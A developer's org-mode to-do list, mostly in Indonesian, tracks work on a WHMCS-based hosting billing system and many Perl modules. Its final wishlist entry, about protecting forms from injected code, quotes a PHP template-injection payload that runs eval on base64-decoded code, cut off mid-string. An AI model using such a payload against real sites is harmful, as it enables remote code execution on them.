github\n** DONE [2014-07-25 Fri] automate produce livesupport reports\n- log ::\n  + [2014-08-14 Thu] done\n** TODO [2014-04-16 Wed] add debug mode to backup-remote script [requested by arieibrahim]\n* proj/mwn/masterkey [1/7]\n** DONE [2015-02-07 Sab] mkey: upgrade mkey to 5.3.11  <2015-02-17 >\n- tanggal 10 cek lagi dulu changelog dan siap2xin, baru tgl 11 eksekusi\n- log ::\n  + [2015-02-11 ] done utk client.cyberdata.co.id, mkey mwn menyusul minggu\n    depan.\n  + [2015-02-25 ] mkey mwn\n** TODO [2012-07-20 Fri] mkey: automatic cancel invoice2x yang lama gak dibayar dan bisa dicancel\n- deposit dana\n- note ::\n  + [2015-01-05 Sen] ini beda dengan cancel-expired-invoice.\n- log ::\n** TODO [2012-06-14 Thu] mkey: matching nama pengirim harus lebih strict\njangan match words dan tambahkan semua match ke dalam score, mis:\n\n: TRSF E-BANKING CR 13/06 WSID:53581 ASRI DWI SURISTI\n\nscore2x pengirim ini jadi pada tinggi, padahal beda sama sekali orangnya:\n\n: DWI SULISTYO (nama klien), ASRI DINI RAHAYU (nama pengirim), match=2 kata\n: GANDHI DWI (nama klien), match=1 kata\n\ntapi pertimbangkan juga normalisasi tanda baca dan mispelling (biasanya antara\nnama yang didaftarkan di masterkey vs nama akun holder bank beda spelling),\ncontoh: SERLY JANUARTI vs Shirley Januarti, i/y, mochamm?ad/muhamm?ad, dsb.\n\n** TODO [2012-06-14 Thu] mkey: pencatatan nama di rekening: walaupun sama dengan nama klien, tetap catat\nagar jadi clue tambahan, kita tahu bahwa dia bayar dari rekening dengan account\nholder yang sama. pokoknya gw pengen bisa view dia bayar biasanya dari mana, ke\nakun mwn yg mana, pake metode apa, mis:\n\n: - tgl x/y/z, via ATM mandiri, ke rek mandiri tomi, dari no xxxxx\n: - tgl x/y/z, via SMS banking mandiri, ke rek mandiri tomi, a/n yyyyy\n: - dst.\n\nsummary:\n\n: - sudah pernah bayar 10x selama kurun waktu 18 bln (1th 6bln)\n: - selalu (100%) bayar ke rek mandiri tomi\n: - sering (60%) bayar via ATM mandiri\n: - bayar dari rekening2x:\n:   + no xxxxx (60%)\n:   + a/n yyyyy (30%)\n:   + tunai (10%)\n\n** TODO [2012-02-05 Sun] mkey: survey pelanggan\n- no hp yang dipunyai (ah kayaknya gak usah, liat general population atau nomor\n  hp terdaftar di database klien aja)\n- pentingnya no telepon lokal bagi anda?\n- medium yang anda sukai? telp? ym? ...\n** TODO [2012-04-24 Tue] mkey: mobile: belum bisa membaca sms unicode (contoh: gw kirim perintah \"FORTUNE\" di bb tapi masih pake keyboard chinese, hasilnya pake UTF-16 dikirimnya)\n** DONE [2012-02-28 Tue] mkey: process-order sering mogok\nmogoknya biasanya pas ini (gak selalu terjadi):\n\n: [pid 23058] [2012/02/24 16:40:01] Starting /home/antimwnwhmcs/mkey/app/bin/process-order\n: [pid 23058] [2012/02/24 16:40:02] Number of paid pending domains: 1 (.ID=0, non-ID=1)\n: [pid 23058] [2012/02/24 16:40:02] (1/1) Processing domain registration/transfer for simbeban-apddjbb.net (ID=118444, regtype=Transfer, order date=2012-02-24 12:46:09, invoiceid=340334, invoicedatepaid=2012-02-24 12:57:18) ...\n: [pid 23058] [2012/02/24 16:40:02] Logging into https://masterkey.masterweb.net/admin as mawshanda ...\n\ncontoh lain:\n\n: [pid 31883] [2012/02/09 21:20:02] Starting /home/antimwnwhmcs/mkey/app/bin/process-order\n: [pid 31883] [2012/02/09 21:20:02] Skipping checking pending paid domains\n: [pid 31883] [2012/02/09 21:20:02] Number of paid pending hosting: 4 (shared=4, colo/dedi/VPS=0, dll=0)\n: [pid 31883] [2012/02/09 21:20:02] (1/4) Processing hosting: ID 105527, domain=stpjaya.com, product=MWN BISNIS B SPANEL, group=Shared Hosting Linux (Spanel), invoiceid=334402, invoicedatepaid=2012-02-10 01:20:33) ...\n: [pid 31883] [2012/02/09 21:20:27] Creating hosting (#105527, domain=stpjaya.com, server=server4014-iix-mwn9dtp-bizek) ...\n: [pid 31883] [2012/02/09 21:20:27] Logging into https://masterkey.masterweb.net/admin as mawshanda ...\n\nsampe berhari2 diem aja, harusnya ada timeout (LWP?)\n\nUPDATE: gw coba tambahin alarm() di Masterkey::AdminArea::login().\n\n** IDEA [2012-06-11 Mon] mkey: cari clue setoran pembayaran tunai dari kode validasi tunai sebelumnya (dari konfirmasi2x dulu)\n- UPDATE: cancel? gak jadi ah, ternyata terlalu banyak yang samanya. ada bisa\nsampe belasan/puluhan klien. unreliable.\n** DONE [2012-06-07 Thu] mkey: otomatis proses invoice2x unpaid yang besarnya < Rp 100, mis: Rp 11 (parking 1th), Rp 22 (parking 1th x 2), ... dengan pembulatan\n- implemented [2012-06-12 Tue]\n** IDEA [2012-06-06 Wed] mkey: banktx: ident: jika klien sudah cukup pasti dia (dan hanya ada satu), buat deposit dan masukkan ke akunnya dia, lalu kasih tau klien, biar dia bayar2x sendiri pake depositnya.\n- kami sudah mengidentifikasi pembayaran anda, tapi karena jumlahnya gak persis,\n  kami tidak dapat membaca maksud anda ingin membayar invoice2x yang mana saja,\n  harap ke ...\n- penting: invoice anda BLEUM terbayar. pembayaran yang masuk dari anda masih\n  harus anda apply ke invoice karena kami tidak dapat memastikannya (ada banyak\n  invoice..)\n- kalo inv bisa dibayar semua dan gak terlalu beda banget jumlahnya (atau ini\n  bisa diconfigure per client), otomatis bayar2xkan aja.\n** TODO [2013-07-06 Sat] mkey: monitor/subscribe security alert untuk whmcs virtualizor servers module (mungkin CVE aja?)\n** TODO [2013-07-06 Sat] mkey: monitor/subscribe security alert untuk whmcs opensrscustom servers module (mungkin CVE aja?)\n** TODO [2013-05-14 Tue] mkey: sekarang (whmcs 4.5+) sudah ada localAPI dan juga remote API yg return JSON/XML, gak hanya NVP (comma values)\n** IDEA [2013-04-11 Thu] mkey: pajang status system load (terutama %full process mysql dan %locked sih) di pojok atas pages (seperti halaman WHM cpanel)\nbiar ada bayangan sistem lelet kenapa.\n** TODO mkey: monitoring: cek whois bener atau gak\n- utk masing2x .com,*.id,...\n- buat list yg udah pasti gak available (microsoft.com, mwn.co.id, ...)\n- buat list yg kemungkinan besar available (some 16 random chars + num)\n- cek apakah benar yg gak available itu gak available, yg available itu available?\n** TODO mkey: monitoring: jika dalam 2-3 menit tidak ada yang ngewhois di tblwhoislog masterkey, warning\n** TODO [2014-02-19 Wed] mkey: archive secara berkala sent/failed sms\n- ini contoh yang unbound nih, sent/ grow terus (terakhir barusan gw cek udah\n  80rb+ sms dan bikin lelet). utk bikin sistem yang stabil, kita harus kurangi\n  yang unbound seperti ini\n- secara berkala juga hapus archive secara berkala (tapi ini ga terlalu penting,\n  ukurannya kecil gak akan sampai bikin penuh dalam waktu puluhan tahun).\n** TODO [2014-08-27 Wed] checkout penggunaan mysql-proxy (+lua script)\n- ternyata ada, sejak 2007 at least.\n- [2014-08-27 Wed] gw baru menghidupkan log slow query dulu (di-set di 2 detik).\n  tapi kadang query gak slow tapi locked/waiting for table.\n** TODO [2014-07-03 Thu] mkey: proess order: create ticket nanya nama domain jika klien order addon domain\n** TODO [2014-06-25 Wed] cron utk dump activity log secara teratur ke file\n- lebih enak ngegrep sebenernya\n- sisakan di database 1-2 bulan terakhir\n- di file juga di split per periode, tetep 1-2 bulan terakhir didump ke file\n  juga supaya bisa digrep semua.\n** FIXED [2014-06-06 Fri] mkey: workaround utk bug whmcs yg suka offset invoiceid by +1\nref: https://forum.mwn.localdomain/viewtopic.php?t=74447\nref: skrip fix-invoice-order di antimwnwhmcs/\n* proj/perl [30/1086]\n** WISHLIST [2015-04-09 Thu] bench-interp: add more interpreters\n- various versions of perl\n- various versions of python\n- various versions of ruby\n- other scripting languages: tcl/tk, ...\n- various shells: zsh, fish (make sure config files are not read)\n** WISHLIST [2015-04-08 Wed] pericmd, ri: every time we return [STATUS, ...], we also store a stack frame, just like die [STATUS, ...] so the flow of data can be tracked too\n** BUG [2015-04-07 Tue] lcpan: rdeps should list the newest release only\n** WISHLIST [2015-04-07 Tue] bor: alphanumeric entry field, like in pajak.go.id or when entering windows xp serial numbers\n** WISHLIST [2015-04-07 Tue] ansitable: longer than one-character border character\n- can be used e.g. to create something like:\n: +-_-_-_-_-+\n: |         |\n: +_-_-_-_-_+\n** CANCELLED TODO [2015-04-07 Tue] [#C] See also section should be after Bugs\n- log ::\n  + [2015-04-07 Tue] cancel, gak terlalu penting. agak ribet mungkin ya fixnya,\n    karena yang satu itu ditulis manual, yang satu diinsert lewat pod::weaver\n** IDEA [2015-04-05 Sun] [#C] perl module: more general version of dzp-sharedir-clean\n- clean older binaries and modules (but must be careful not to delete files from\n  other dists; but if it is from an older name of our dist then it's okay)\n** BUG [2015-04-05 Sun] pericmd-classic: can't run filter-org-by-headlines (through list-dist-todos), but ok if using pericmd-lite\nweird error message:\n\n: Unrecognized escape \\Q passed through in regex; marked by <-- HERE in m//(\\Q <-- HERE Log-Any-IfLOG\\E|\\Qla-iflog\\E)(, \\S+)*:// at (eval 237) line 158, <> line 1.\n: Unrecognized escape \\E passed through in regex; marked by <-- HERE in m//(\\QLog-Any-IfLOG\\E <-- HERE |\\Qla-iflog\\E)(, \\S+)*:// at (eval 237) line 158, <> line 1.\n: Unrecognized escape \\Q passed through in regex; marked by <-- HERE in m//(\\QLog-Any-IfLOG\\E|\\Q <-- HERE la-iflog\\E)(, \\S+)*:// at (eval 237) line 158, <> line 1.\n: Unrecognized escape \\E passed through in regex; marked by <-- HERE in m//(\\QLog-Any-IfLOG\\E|\\Qla-iflog\\E <-- HERE )(, \\S+)*:// at (eval 237) line 158, <> line 1.\n** WISHLIST [2015-04-06 Sen] pwb-author-perlancar: See Also should be after Bugs\n** DONE [2015-04-06 Sen] dzp-sharedir-clean: instead of searching for all files, since share dir is per-dist anyway, how about nuking/cleaning dist dir before installing?\n- this means we don't have to use/require git. also we can clean properly even\n  when user downgrades. and it's simpler, including simpler to support windows.\n- log ::\n  + [2015-04-06 Sen] done\n** TODO [2015-04-04 Sab] dsah: dev manual: add section on human language generation\n** TODO [2015-04-04 Sab] [#B] dsah: use temporary variable for str's each_value? :optim:\n- now gen_each() accept fifth argument \$code_at_sub_begin that we can use\n- checking against substr(\$data, \$_, 1) everytime might be slow.\n** TODO [2015-04-04 Sab] ganti semua schema [obj, is=>DateTime] dengan date\n** TODO [2015-04-03 Fri] dsah: better error message for hash's each_value\n: \@key: Not an integer\n\nthis can be confused when we use each_key too:\n\n: \@key: Not an integer\n\ni'd like each_value's error message to be:\n\n: \@key: Value not an integer\n\nthat is, we add a noun. currently i'm reluctant to add this because i've\nforgotten the details of human compiler and haven't refreshed my memory on it\nyet.\n\nUPDATE: req_keys's error message looks rather nice: hash has missing required\nfield(s) (b, c)\n** TODO [2015-04-03 Fri] sahutils: script to generate human message (just a compiler option to validate-with-sah perhaps?)\n** TODO [2015-04-03 Fri] ri: args_groups: req_one_of in addition to one_of\none_of -> at most one can be specified, but none can be specified\nreq_one_of -> exactly one need to be specified\n\nstill not sure about the name\n** TODO [2015-04-03 Fri] ri: args_groups: depends?\nexample: in validate-with-sah, I have --show-code and --show-linenum.\n--show-linenum is only relevant/allowed if --show-code is specified.\n\n: rel=>'depends', args=>[show_linenum], on_all => [show_code]\n\nanother example is when foo depends on either a, b, or c\n: rel=>'depends', args=>[foo], on_any => [a, b, c]\n** DONE [2015-04-03 Fri] sahutils: validate-with-sah: --data-file, --multiple-data-file\n- log ::\n  + [2015-04-04 ] done\n** TODO [2015-04-03 Fri] [#B] dsah: opt: in or logic, shortcut after \$_sah_ok = 1\n[str => \"match|\" => [\"a\",\"b\",\"c\"]]\n\nso:\n\n            (# op=or\n            ((do {\n                my \$_sahv_ok = 0;\n                my \$_sahv_nok = 0;\n\n                # clause: match\n                ((\$data =~ qr((?:(?-)a))) ? ++\$_sahv_ok : ++\$_sahv_nok)\n\n                &&\n\n                ((\$data =~ qr((?:(?-)b))) ? ++\$_sahv_ok : ++\$_sahv_nok)\n\n                &&\n\n                ((\$data =~ qr((?:(?-)c))) ? ++\$_sahv_ok : ++\$_sahv_nok) && \$_sahv_ok >= 1 && (\$err_data = undef, 1)}) ? 1 : ((\$err_data //= (\@\$_sahv_dpath ? '\@'.join(\"/\",\@\$_sahv_dpath).\": \" : \"\") . \"Must match regex pattern one of [\\\"a\\\",\\\"b\\\",\\\"c\\\"]\"),0)))));\n\nbecomes:\n\n            (# op=or\n            ((do {\n                # clause: match\n                ((\$data =~ qr((?:(?-)a))) ? 1:0)\n\n                ||\n\n                ((\$data =~ qr((?:(?-)b))) ? 1:0)\n\n                &&\n\n                ((\$data =~ qr((?:(?-)c))) ? 1:((\$err_data = ...), 0))\n            }))\n** TODO [2015-04-02 Thu] dtrans: release first version\n** DONE IDEA [2015-04-02 Thu] perl module: extract all past releases and list shared files that are no longer in\n- log ::\n  + [2015-04-05 Sun] done: dzp-sharedir-clean\n** IDEA [2015-04-02 Thu] perl module: pod weaver plugin to insert TODOS from my todo, like TODO.md\n** TODO [2015-04-01 Rab] pause-simple: add proxy support\n- aside from \$ua->env_proxy, accept a common argument\n** IDEA [2015-04-01 Rab] [#C] orgutils: list-org-todo-states: count occurences of each state\n** IDEA [2015-04-01 Rab] [#C] orgutils: list-org-priorities: count occurences of each state\n** IDEA [2015-03-30 Mon] perl module: Perinci::Sub::ArgEntity::timezone\n- and then use it in orgutils, ...\n** TODO [2015-03-28 Sab] perisgen: try harder to generate Rinci sub metadata for sub\n- summary from function POD or =head1 NAME\n\n- argument from\n\n: =(head[2-9]|item|...) FUNCNAME\\s*\\(...\\)\n\nget the names, number of args, ...\n\notherwise if all fails, just add arg 'args' as a catch-all.\n** IDEA [2015-03-27 Fri] perl module: App::pfind (CLI for Proc::Find)\n** IDEA [2015-03-27 Fri] perl module: App::pipefind (CLI for Pipe::Find)\n** IDEA [2015-03-27 Jum] perl module: cpanutils\n- swiss army knife CLI tool for cpan? cpanswak? swakcpan (i like this better,\n  because there is alrady swaks - swiss army knife for smtp, now we have\n  swakcpan - swiss army knife for cpan).\n- need to reorganize the commands naming first because i envision this\n- cpanutils binary with subcommand? like lcpan (i kinda like it)\n- cpanchanges (complete dist name or module name, use lcpan data only for now).\n  instead of using cpanmetadb like App::cpanlistchanges (cpan-listchanges), we\n  can just use https://metacpan.org/changes/distribution/<distname> and parse\n  the html a bit (decode html entities). add option --parse to parse it using\n  CPAN::Changes spec.\n- what is the newest version of module/dist X (also as lcpan version)\n- what is the dist name that includes module X? (cpan-mod2dist, there is already\n  'lcpan mod2dist')\n- what is the (latest) release(s) for module X (cpan-mod2rel, there is already\n  'lcpan mod2rel')\n- download the latest release (this is what i want cpanm to do but until now it\n  doesn't have it). although this can be composed via: 'wget `cpanutils mod2rel\n  Mod::Name`'\n- swakcpan mirror: uses lcpan\n- swakcpan install: uses cpanm\n- swakcpan build? uses dzil\n- swakcpan stats? CPAN stats?\n- swakcpan mirrors? return list of CPAN mirrors\n- swakcpan update-all? uses cpan-outdated\n- swakcpan install-lcpan?\n- swakcpan install-brew?\n- swakcpan install-cpanm?\n- swakcpan authors (like lcpan authors)\n- swakcpan modules (like lcpan modules)\n- swakcpan releases (like lcpan releases)\n- swakcpan dists (like lcpan dists)\n** TODO [2015-03-26 Thu] check out Data::Table for (avoiding?) implementation of TableData::Object\n** TODO [2015-03-26 Thu] pericmd-classic: what if we want to customize cleanser?\nexample is in parse-ledger, where we want to customize cleanser with: -circular\n=> [clone=>0]. in pericmd-lite 1.01 this is already possible because we expose\n'cleanser' as attribute. but pericmd-classic uses perirf to format result.\n\nso dfpj should perhaps observe some environment variable to configure dc-json.\n** WISHLIST [2015-04-08 Wed] dsah: improve error message for any\n[any, of => [int, [str => match => \"ab\"]]]\n\nif data fails to validate, the error message is the first schema's \"Not an\ninteger\", perhaps we'd like it to be \"Not any of (integer, text matching \"ab\")\"?\n** FIXED [2015-03-26 Thu] dsah: any\nfor example: in sah-eg, hash-headers.yaml, we have each_index to validate key\nname and each_value to validate values. the key name validation is currently\nignored.\n\n: [hash, {\n:   each_key: ['str*', match: '\\A\\w+(-\\w+)*\\z'],\n:   each_value: ['any*', of, ['str*', ['array*', of, 'str*']]]\n: }]\n\nUPDATE [2015-04-03 Fri]: the problem is with \"any\" and the second type.\n\n: {\"Foo\"=>\"str\", \"Bar-Baz\"=>[\"str\"], \"Qux\"=>[\"str\",[]]}\n\nthe above hash is okay, when it shouldn't be. the Qux value is not a str nor an\narray of str.\n\nin fact, this schema:\n\n: ['any*', of, ['str*', ['array*', of, 'str*']]]\n\nstill allows:\n\n: [[]]\n\nUPDATE [2015-04-08 Wed]: as i said before this only happens when\nreturn_type=str, things are okay for return_type=bool or full. but some schema\nis okay, e.g. ['any*', of, ['int', ['str', 'match', 'ab']]].\n\nok, ketauan penyebabnya adalah list flattening, e.g.:\n\n: [push(\@_sahv_dpath,undef), (... && ... && ...), pop(\@_sahv_dpath)]->[1]\n: [push(\@_sahv_dpath,undef), ((\$err_data //= \"Not of type text\"), 0), pop(\@_sahv_dpath)]->[1]\n: \"Not of type text\"\n\nseharusnya:\n\n: [push(\@_sahv_dpath,undef), ~~(... && ... && ...), pop(\@_sahv_dpath)]->[1]\n: [push(\@_sahv_dpath,undef), ~~((\$err_data //= \"Not of type text\"), 0), pop(\@_sahv_dpath)]->[1]\n: [push(\@_sahv_dpath,undef), 0, pop(\@_sahv_dpath)]->[1]\n: 0\n\ndi js ini tidak terjadi.\n- log ::\n  + [2015-04-08 Wed] bug identified & fixed\n** TODO [2015-03-26 Thu] sah-eg: add more examples\n- str password with errlevel=warn\n** IDEA [2015-03-25 Wed] pause-simple: register subcommand\n- user/pass not required\n- just submit to https://pause.perl.org/pause/query?ACTION=request_id\n** IDEA [2015-03-25 Wed] patch/fake Carp\nganti dengan modul simple, mis:\n\n: package Carp;\n:\n: require Exporter;\n: our \@ISA = qw(Exporter);\n: our \@EXPORT      = qw(confess croak carp);\n: our \@EXPORT_OK   = qw(cluck verbose longmess shortmess);\n: our \@EXPORT_FAIL = qw(verbose);\n:\n: *carp    = \\&CORE::warn;\n: *cluck   = \\&CORE::warn;\n: *croak   = \\&CORE::die;\n: *confess = \\&CORE::die;\n: *longmess  = sub { \@_ };\n: *shortmess = sub { \@_ };\n:\n: sub export_fail { }\n:\n: 1;\n\nbisa mengirit +-1.5ms.\n** TODO [2015-03-25 Wed] pericmd-lite: perhaps an option to show usage for each subcommand\n** IDEA [2015-03-25 Wed] perl module: WWW::BlogsPerlOrg::Download\n- from my script\n** IDEA [2015-03-25 Wed] perl module: WWW::Wordpress::Download\n- from my script\n** WISHLIST [2015-03-24 Tue] perl module: create a Getopt::Long replacement with lower startup overhead (6.8ms)\n- if we can create something that compiles in about 1-2ms, then we can shave an\n  extra 5ms from pericmd-lite startups, which is good (a very simple script\n  starts in about 30ms, we can then get to 25ms).\n- i think we can, if we shave off features from Getopt::Long which we don't\n  need.\n** BUG [2015-03-24 Tue] computil: complete_file(filter=>\"d\"), why doesn't it return a hash answer (with path_sep) but instead return a simple array answer?\nthis causes bash to add space to single completion result\n** TODO [2015-03-24 Tue] fatten: add tests!\n** IDEA [2015-03-20 Fri] pmutils: add script: module-dir (like dist-dir in distutils)\n** TODO [2015-03-20 Fri] css-ssl-cert: completion for --ca is *.crt (and *.pem), for --ca-key is *.key (and *.pem)\n- log ::\n  + [2015-04-02 Thu] done, sambil nyobain Perinci::Sub::XCompletion\n** TODO [2015-03-19 Thu] ledgerp: tasks\n- transaksi pake baris kosong sebenernya kesplit gak?\n- parse historical price (P line)\n- parse (ignore?) some directives:\n  + account? + subdirectives\n  + apply account\n  + alias?\n  + bucket (default account to balance transaction)\n- spectest: test round-trip when parser gets as_string() capability\n** TODO [2015-03-26 Thu] short: check that a single longdir only maps to at most 1 shortdir (and vice versa)\n- unless setting 'allow_multiple' is on\n** TODO [2015-03-19 Thu] short: rename short AND long name all at once\n** WISHLIST [2015-03-19 Thu] short: 'rename' subcommand to rename short name, and help when there is a rename of short name\n- rename in todo list\n- rename in other places?\n** WISHLIST [2015-03-18 Wed] ciod: insert_key: insert before blank\nif we're inserting (s1, x, 1), before insert:\n\n: [s1]\n: a=1\n: b=2\n:\n: [s2]\n\nafter insert, currently:\n\n: [s1]\n: a=1\n: b=2\n:\n: x=1 <-- inserted here\n: [s2]\n\ni'd like it to be:\n\n: [s1]\n: a=1\n: b=2\n: x=1 <-- inserted here\n:\n: [s2]\n** TODO [2015-03-18 Wed] iodutils: option to do file locking when modifying file\n** TODO [2015-03-18 Wed] ciod: add method: get_raw_value()\n- this does not do merges or value decoding\n- can return one or multiple result (if there are more than one key lines)\n- return line number information\n** TODO [2015-03-18 Wed] ciod: add method: set_raw_value()\n- optional option: line number\n- can also set comment\n- method name? (for adding key lines, we already have insert_key())\n** TODO [2015-03-18 Wed] ciod: add method: each_key()\n- iterate method, for every method line found, run supplied code.\n- also give line number information?\n- what if code modifies document?\n** TODO [2015-03-18 Wed] ciod: add method: each_section()\n- iterate method\n- also give line number information?\n- what if code modifies document?\n** TODO [2015-03-18 Wed] ciod: add method: each_line()\n- iterate method\n- also give line number information\n- what if code modifies document?\n** TODO [2015-03-18 Wed] ciod: add method: delete_comment()\n** TODO [2015-03-18 Wed] ciod: add method: insert_comment()\n- either to a new line, or to an existing line\n- can add/replace comment in section line, key line\n- will die if line's comment cannot be set (e.g. directive line)\n- ignore option\n- replace option\n** TODO [2015-03-18 Wed] ciod: add method: format()\n- make indentation uniform\n- method name?\n** TODO [2012-03-22 Thu] setup::unix::{user,group}: use the new passwd::unix::alt (0.5210) which has lock option, enable it and test it\n** TODO [2012-01-19 Thu] periahs: pass psgi env ke functions, for leaky abstractions\nagar fungsi tahu bahwa dia run under psgi, dan bisa deteksi cookie-lah, http\nheaders lah, whatever.\n** TODO [2012-03-21 Wed] ri: perjelas status metadata utk arg, example, link, ... dan common propertiesnya\nistilah argument spec diganti jadi argument metadata? demikian juga link, ... jadi tag links itu adalah array of link metadata.\n\nproperties common to all metadata (this include argument, link, example, ...):\nv, entity_version, default_lang, summary, description, tags, links\n\nproperties for function metadata (function, ): name (pindah ke sini dari\ncommon), examples, ...\n\natau buang aja \"name\"? selama ini name dipake buat apa ya? utk tau canonical\nname dari sebuah function doang?\n\nUPDATE sekarang juga ada tag metadata.\n** TODO [2012-03-21 Wed] ri: default_lang dari arg spec (return spec, example spec, link spec, ...) mengikuti default_lang dari metadata?\ncontoh:\n\n: {default_lang=>\"id_ID\",\n:     ...\n:     args => {\n:         arg1 => {\n:             summary => \"in Indonesian or english?\",\n:             ...\n:         },\n:         ...\n:     },\n:     return => {\n:         summary => \"in Indonesian or english?\",\n:     },\n:     example => [\n:         {summary => \"in Indoneisan? in English?\",\n:          ...\n:         },\n:         ...\n:     ],\n:     links => [\n:         {summary => \"in Indoneisan? in English?\",\n:          ...\n:         },\n:         ...\n:     ],\n: }\n\njika mengikuti, maka saat melakukan translation (di langprop\nPerinci::Object::Metadata misalnya) kita harus menyertakan parent metadata.\n\nsaat ini yang sederhananya sih kita selalu mengeset default_lang di spec ybs,\nagar tidak terjadi ambiguitas.\n\n** TODO ri: test streaming output interface\n- result meta: streaming=>1, result payload coderef\n- output format can be text (direct dump) or (later) streaming yaml/json array\n- ATAU, ikuti PSGI, instead of enveloped result, return a coderef. this allows\n  for delayed response. we can return the enveloped result later the coderef is\n  called.\n- kita seharusnya membiasakan menggunakan ini:\n\n: envres(\$res)->success\n\ninstead of\n\n: \$res->[0] == 200\n\nkarena dengan yang pertama, kode kita jadi otomatis bisa dipakai walaupun \$res\nadalah coderef.\n\nwrapper juga bisa otomatis wrap-kan envres(). jadi:\n\n: \$res = foo(...)\n: die \$res->errmsg unless \$res->success; # \"404 - Not found\\n\"\n: \$ct = \$res->payload;\n: \$ud = \$res->meta->{undo_data};\n\n** TODO [2012-07-21 Sat] pericmd: implement arg's src=stdin/stdin_or_files for type=stream or filehandle\n\n: args => { input => {schema=>['stream*' => {of=>'str*'}], src=>'stdin'}, a2 => {} },\n\ncontoh program a la Pipe utk uppercase tiap baris (dan otomatis dipage pake less)\n\n\$SPEC{uppercase} = {\n\n};\nsub uppercase {\n    my %args = \@_;\n    my \$input = \$args{input};\n    my \$sub = sub {\n        while (my (\$index, \$item) = each \@\$input) {\n            yield uc(\$item);\n        }\n    };\n    [200, \"OK\", \$sub, {streaming=>1}]; # DRAFT\n}\n\npengecekan schema juga bisa dilakukan oleh wrapper utk setiap line/record.\n** TODO i want an easy way to collect some data to rrdtool\ncontoh, koneksi di kantor rada2x aneh nih. gw pengen plot koneksi dari komputer\ngw setiap 5 menit dan besok atau seminggu lagi cek hasilnya. gw pengen cukup\nsebaris aja setup hal beginian:\n\n: % foo setup --freq 300 --item 'ping yahoo.com' --item 'ping google.com' --item 'ping masterkey.masterweb.net'\n\nnanti gw bisa dump dan liat graphnya.\n\ngak cuma itu aja, gw bisa setup alarms, otomatis bunyi jika koneksi berubah dari\noff jadi on atau sebaliknya, dll.\n\ngw juga perlu melakukan uptime stats nih utk server2x mwn (masing2x dari\nbeberapa titik), belum. tiap stats perlu dicatat hop2nya biar tau titik mana\nyang paling ga reliable. (tpai perlu diingat bahwa walau traceroute hasilnya\nbintang2x, tapi tetep bisa konek; kadang2x kita harus pake -I (ICMP, tapi butuh\nroot), instead of the default UDP).\n\n: # traceroute -In 4014.masterweb.net\n: traceroute to 4014.masterweb.net (202.43.165.98), 30 hops max, 60 byte packets\n:  1  192.168.0.1  0.689 ms  0.691 ms  0.691 ms\n:  2  202.43.165.21  3.343 ms  3.354 ms  3.356 ms\n:  3  202.129.188.14  3.355 ms  3.357 ms  3.358 ms\n:  4  202.43.165.98  3.358 ms  2.632 ms  2.614 ms\n:\n: \$ traceroute -n 4014.masterweb.net\n: traceroute to 4014.masterweb.net (202.43.165.98), 30 hops max, 60 byte packets\n:  1  192.168.0.1  0.523 ms  0.513 ms  0.508 ms\n:  2  * * *\n:  3  * * *\n:  4  * * *\n:  ...\n:  30 * * *\n:\n: # traceroute -Tn 4014.masterweb.net\n: traceroute to 4014.masterweb.net (202.43.165.98), 30 hops max, 60 byte packets\n:  1  202.43.165.98  0.253 ms  0.257 ms  0.257 ms\n\n** TODO Perinci::To::PackageBase: support methods & attributes\n** TODO peri2doc, peri2html, peri2txt: jika args_as array, arrayref: tampilkan daftar argumen sesuai posisi\n** TODO tulis App::IniUtils\n- comment-ini-section -> Config::INIFiles ternyata gak punya kemampuan ini, tapi\n  kayaknya bisa diakali dengan mengambil content section, lalu menambahkan\n  comment ke section di bawahnya or something\n- uncomment-ini-section -> ditto\n** TODO [2012-02-13 Mon] [#C] periswrap: opt: should not convert args_as multiple times on retries\n** TODO [2012-02-13 Mon] [#C] periswrap: add a wrapper to make sure that if result_naked=0, function return proper enveloped result\nsome other wrapper, like retry (works outside eval block) can die if function\ndoes not return proper enveloped result, since retry wrapper generates something like:\n\n: if (\$eval_err or \$res->[0] !~ ...) {\n** IDEA [2012-02-11 Sat] [#C] tie interface for Perinci::Sub::Gen::AccessTable\n- inspired by ActiveHash and the general tie interfaces\n- sample code:\n\n: tie \@ids, Foo->new(\"http://gudangapi.com/ga/geo.id/list_provinces\");\n: dd \\\@ids; # [\"ac\", \"jb\", \"jt\", ...]\n\n: tie %table, Foo->new(\"http://gudangapi.com/ga/geo.id/list_provinces\"); # otomatis detail=1\n: dd [keys %table]; # [\"ac\", \"jb\", \"jt\", ...]\n: dd \$table{jb}; # {capital=>\"Bandung\", ...}\n: \$table{jb}{capital} = \"Cimahi\";\n: delete \$table{tt}; # sudah jadi negara sendiri, Timor Leste\n\n- issues: caching?\n\n** IDEA [2012-02-05 Sun] [#C] phpbb2-infobot: kalo gak tau, kirim random images\n** TODO [2012-01-12 Thu] sah: change default markup to markdown, add text markup clause\n** TODO [2012-01-12 Thu] sah: add versioning\n** TODO [2011-12-17 Sat] sah: better syntax for deps?\n** TODO [2011-12-17 Sat] sah: kasus: give arguments to schema?\n- contoh kasus: saat validasi schema sah, clause_set ingin kita beri argumen\n  tipe data agar dia dapat mengeset klausa2x apa saja yang dikenali utk tipe\n  tersebut.\n** TODO [2011-12-10 Sat] mm: merge a variable with another variable (using a certain mode), bisa/simple gak?\n** TODO [2011-12-09 Fri] sah: beri metadata 'tags' pada setiap clause; pindahkan metada ke clausemeta\n- termasuk priority dll, biar gak terlalu banyak method\n** IDEA [2011-12-09 Fri] perl module to validate NIP (nomor induk pegawai pegawai negeri)\n** CANCELLED complete DateTime::Format::Naturalish\n- [2013-04-24 Wed] cancel, soalnya ada DateTime::Format::Flexible, pake itu aja\n  utk bikin versi indo.\n** IDEA bor: automatic submit setelah timeout\nsetting:\n- apakah jika key dipress, timer reset\n- ada timeout, ada time limit (time limit mau gak mau disubmit)\n\n** WISHLIST [2012-02-05 Sun] ri: function: retry property: conditional retry\n- depends on args or result matching a certain schema, whatever. needs real use cases first.\n** TODO [2012-02-05 Sun] ri: versioning utk 3rd party properties?\n** IDEA [2012-02-03 Fri] perl module: dfp: as SQL insert\n** WISHLIST [2012-01-27 Fri] sah: use case: beri limit max length atau regex pada semua\nmisalnya melindungi form dari yang jail2, masukin kode2x php atau apalah\n\n: {php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM 